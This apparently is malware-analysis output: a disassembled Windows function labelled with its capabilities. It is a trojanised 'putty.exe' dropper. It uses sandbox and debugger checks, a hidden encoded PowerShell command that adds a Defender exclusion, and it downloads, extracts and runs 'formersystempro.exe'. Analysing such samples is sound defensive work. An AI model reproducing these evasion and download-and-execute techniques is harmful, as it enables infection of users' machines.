Function at 0x140002a90
Capabilities:
Check for debugger via api
Create http request
Create process on windows
Download and write a file
Get common file path
Get file size
Get memory capacity
Get system information on windows
Read data from internet
Read file via mapping
Receive and write data from server to client
Receive data
Resolve function by parsing pe exports
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2900]
mov eax, 0x2a00
call fcn.14001cf70
sub rsp, rax
mov rax, qword [0x140068328]
xor rax, rsp
mov qword [rbp + 0x28f0], rax
xor r13d, r13d
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x140060d60]
movdqu xmmword [rsp + 0x68], xmm1
mov byte [rsp + 0x58], r13b
mov r14d, 1
mov dword [rsp + 0x50], r14d
lea r8d, [r13 + 0x7c]
lea rdx, str.fwfeweffwefweoihfwehfwehfweojoireoijrgeojigeroijegrgerojigerjiogerjiogeroqpijrpoegirjwqergwopjwgerjgwrejopiwgerjopiwgerpojio
lea rcx, [rsp + 0x58]
call fcn.1400056b0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002b4f
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b63
call fcn.14001c710
mov r8d, 0x104
lea rdx, [rbp + 0x6e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x6e0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140002b90
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140003b69
movabs r12, 0x7fffffffffffffff
mov qword [rbp - 0x48], 7
cmp rbx, 8
jae 0x140002be6
mov qword [rbp - 0x50], rbx
add rbx, rbx
mov r8, rbx
mov rdx, r15
lea rcx, [rbp - 0x60]
call fcn.14001e6c0
mov word [rbp + rbx - 0x60], r13w
jmp 0x140002c80
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x140002bf8
lea rcx, [r12 + r12]
jmp 0x140002c20
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, r12
ja 0x140003b5d
add rcx, rcx
cmp rcx, 0x1000
jb 0x140002c4c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b5d
mov rcx, rax
call fcn.14001c9b4
test rax, rax
je 0x140003b57
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002c5e
test rcx, rcx
je 0x140002c5b
call fcn.14001c9b4
mov rdi, rax
jmp 0x140002c5e
mov rdi, r13
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rsi
add rbx, rbx
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.14001e6c0
mov word [rdi + rbx], r13w
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x50]
lea r15, [rdx + rax*2]
lea rbx, [rbp - 0x60]
cmovae rbx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov edi, 0xf
mov qword [rbp - 0x68], rdi
cmp rbx, r15
jne 0x140002cc4
mov r8, r13
mov byte [rbp - 0x80], r8b
jmp 0x140002db7
mov rax, r15
sub rax, rbx
sar rax, 1
mov rsi, r13
cmp rax, r12
ja 0x140003b6f
cmp rax, 0x10
jb 0x140002d70
mov rdi, rax
or rdi, 0xf
cmp rdi, r12
jbe 0x140002cf4
mov rdi, r12
jmp 0x140002d00
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140002d4a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b75
mov rcx, rax
call fcn.14001c9b4
mov rcx, rax
test rax, rax
je 0x140003bcf
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002d59
test rcx, rcx
je 0x140002d56
call fcn.14001c9b4
jmp 0x140002d59
mov rax, r13
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rdi
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbp - 0x80]
cmp rdi, 0x10
cmovae rcx, qword [rbp - 0x80]
movzx eax, byte [rbx]
mov byte [rcx + rsi], al
mov rsi, qword [rbp - 0x70]
inc rsi
mov qword [rbp - 0x70], rsi
add rbx, 2
cmp rbx, r15
je 0x140002d9d
mov rdi, qword [rbp - 0x68]
jmp 0x140002d70
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rax, qword [rbp - 0x80]
mov byte [rsi + rax], 0
mov rdi, qword [rbp - 0x68]
mov r8, qword [rbp - 0x70]
lea rcx, [rbp - 0x80]
mov r12, qword [rbp - 0x80]
cmp rdi, 0x10
cmovae rcx, r12
cmp r8, 9
jne 0x140002de1
lea rdx, str.putty.exe
call fcn.14001e5c0
test eax, eax
je 0x140003011
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x140], 2
jb 0x140003aac
mov dword [rbp + 0x150], 0x40
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x158]
shr rax, 0x14
cmp eax, 0x800
jb 0x140003aac
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 3]
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], r13
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x18
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x6c]
mov eax, dword [rsp + 0x68]
imul rcx, rax
mov eax, dword [rsp + 0x64]
imul rax, rcx
imul rax, qword [rsp + 0x58]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x3a
jb 0x140003aac
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.C:WindowsSystem32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [r15 + 0x3c]
mov ecx, dword [rax + r15 + 0x88]
add rcx, r15
mov eax, dword [rcx + 0x1c]
add rax, r15
mov qword [rsp + 0x40], rax
mov esi, dword [rcx + 0x20]
add rsi, r15
mov eax, dword [rcx + 0x24]
add rax, r15
mov qword [rsp + 0x48], rax
mov r12, r13
mov ebx, r13d
mov r13d, dword [rcx + 0x18]
test r13d, r13d
je 0x140002faa
nop
mov ecx, dword [rsi]
add rcx, r15
lea rdx, str.NtCreateThreadEx
call fcn.14004ed10
test eax, eax
je 0x140002f92
inc ebx
add rsi, 4
cmp ebx, r13d
jb 0x140002f70
jmp 0x140002faa
movsxd rax, ebx
mov rcx, qword [rsp + 0x48]
movzx ecx, word [rcx + rax*2]
mov rax, qword [rsp + 0x40]
mov r12d, dword [rax + rcx*4]
add r12, r15
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
mov rax, qword [rax]
xor r13d, r13d
cmp rax, qword [r12]
jne 0x140003aa8
mov rax, qword [rcx + 8]
cmp rax, qword [r12 + 8]
jne 0x140003aa8
mov dword [rsp + 0x50], r13d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov r12, qword [rbp - 0x80]
cmp dword [rsp + 0x50], r13d
jne 0x140003aac
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
mov r8d, 0x3c
lea rdx, str.KUdMIg5hbgYWYAF8bwEKfAd8blVXIFE9NRxePUYjJEFLK0c6JF5IIFtgO1pI
lea rcx, [rbp + 0xc0]
call fcn.140006330
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
mov r8d, 6
lea rdx, str.A38R4N
lea rcx, [rbp + 0x60]
call fcn.140006330
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov r8d, 0x26
lea rdx, str.__formersystempro__formersystempro.exe
lea rcx, [rbp - 0x40]
call fcn.140006330
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
xor r8d, r8d
lea rdx, [0x140060910]
lea rcx, [rbp]
call fcn.140006330
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
xor r8d, r8d
lea rdx, [0x140060910]
lea rcx, [rbp + 0x100]
call fcn.140006330
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov r8d, 7
lea rdx, str.pro.exe
lea rcx, [rbp + 0xe0]
call fcn.140006330
nop
lea rcx, str.powershell__WindowStyle_hidden__inputformat_none__outputformat_none__NonInteractive__ExecutionPolicy_Bypass__enc_QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACgAWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAHIAaQBhAGIAbABlACgAJwBVAFMARQBSAFAAUgBPAEYASQBMAEUAJwApACAAKwAgACcAJwApAA
call fcn.140023560
xor ecx, ecx
call fcn.1400241c8
mov rcx, rax
call fcn.140022e44
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
call fcn.1400025a0
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400024c0
nop
lea rsi, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rsi, qword [rbp + 0x40]
lea rdx, [rbp]
lea rcx, [rbp + 0x80]
call fcn.1400025a0
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x20]
call fcn.1400024c0
nop
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rax, qword [rbp + 0x20]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x190]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov r13, qword [rbp]
test eax, eax
jne 0x1400031e0
call fcn.140005f20
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140005d90
movzx edx, al
mov rcx, rbx
call fcn.1400068d0
mov rcx, rbx
call fcn.140005970
jmp 0x1400036c8
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8, r14
lea rdx, [0x140060ce8]
lea rcx, [rbp - 0x20]
call fcn.140006330
nop
lea rcx, [rsp + 0x58]
call fcn.140002260
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000321b
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x20]
call fcn.1400056b0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140003266
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003261
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b7b
call fcn.14001c710
mov r8d, 4
lea rdx, str..zip
lea rcx, [rbp - 0x20]
call fcn.1400056b0
lea rbx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rbx, qword [rbp - 0x20]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x2a0]
call fcn.140023aa8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x2a0]
call fcn.1400243c8
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rbx, qword [rbp - 0x40]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x4c0]
call fcn.140023aa8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x4c0]
call fcn.1400243c8
xor ebx, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
je 0x14000367c
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x14000334d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000367c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x14000339e
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000367c
mov dword [rsp + 0x54], 0
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x8f0]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000340b
mov r8d, dword [rsp + 0x54]
test r8d, r8d
je 0x14000340b
xor eax, eax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea rdx, [rbp + 0x8f0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x8f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400033c2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x2a0]
call fcn.140001e00
mov dword [rsp + 0x28], r14d
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x4c0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, r13
mov r8, qword [rbp + 0x10]
test r8, r8
jne 0x140003488
lea rdx, [0x140060910]
call fcn.14001e5c0
test eax, eax
je 0x140003aa0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8, r14
lea rdx, [0x140060ce8]
lea rcx, [rsp + 0x58]
call fcn.140006330
nop
lea rcx, [rbp + 0x120]
call fcn.140002260
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400034c8
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x58]
call fcn.1400056b0
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x140003518
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003513
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b81
call fcn.14001c710
mov r8d, 4
lea rdx, str..zip
lea rcx, [rsp + 0x58]
call fcn.1400056b0
lea rbx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rbx, qword [rsp + 0x58]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x3b0]
call fcn.140023aa8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x3b0]
call fcn.1400243c8
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rbx, qword [rbp - 0x40]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x5d0]
call fcn.140023aa8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x5d0]
call fcn.1400243c8
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
je 0x14000363e
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140003634
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x1400039a2
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000367c
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003676
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b87
call fcn.14001c710
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400036b7
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b8d
call fcn.14001c710
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140003703
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b93
call fcn.14001c710
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140003755
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003750
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b99
call fcn.14001c710
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400037a7
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b9f
call fcn.14001c710
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400037f9
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ba5
call fcn.14001c710
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140003852
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000384c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bab
call fcn.14001c710
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140003894
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000388e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bb1
call fcn.14001c710
nop
mov rax, qword [rbp + 0x18]
cmp rax, 0x10
jb 0x1400038d0
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x1400038c7
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bb7
mov rcx, r13
call fcn.14001c710
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14000390b
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003906
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bbd
call fcn.14001c710
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140003958
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003952
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bc3
call fcn.14001c710
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x140003aaf
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003998
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bc9
call fcn.14001c710
jmp 0x140003aaf
mov dword [rsp + 0x50], 0
lea r9, [rsp + 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x18f0]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140003a0f
mov r8d, dword [rsp + 0x50]
test r8d, r8d
je 0x140003a0f
xor eax, eax
mov dword [rsp + 0x78], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea rdx, [rbp + 0x18f0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x18f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400039c6
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x3b0]
call fcn.140001e00
mov dword [rsp + 0x28], r14d
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x5d0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140003aa0
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b87
call fcn.14001c710
mov r14d, esi
jmp 0x14000367c
mov r12, qword [rbp - 0x80]
mov r14d, r13d
cmp rdi, 0x10
jb 0x140003ae8
lea rdx, [rdi + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140003adf
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bcf
mov rcx, r12
call fcn.14001c710
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140003b24
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b57
call fcn.14001c710
mov eax, r14d
mov rcx, qword [rbp + 0x28f0]
xor rcx, rsp
call fcn.14001c6f0
lea r11, [rsp + 0x2a00]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400251d8
int3
call fcn.140001270
int3
call fcn.1400251d8
int3
call fcn.140001310
nop
call fcn.140001310
nop
call fcn.140001270
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
nop
call fcn.1400251d8
int3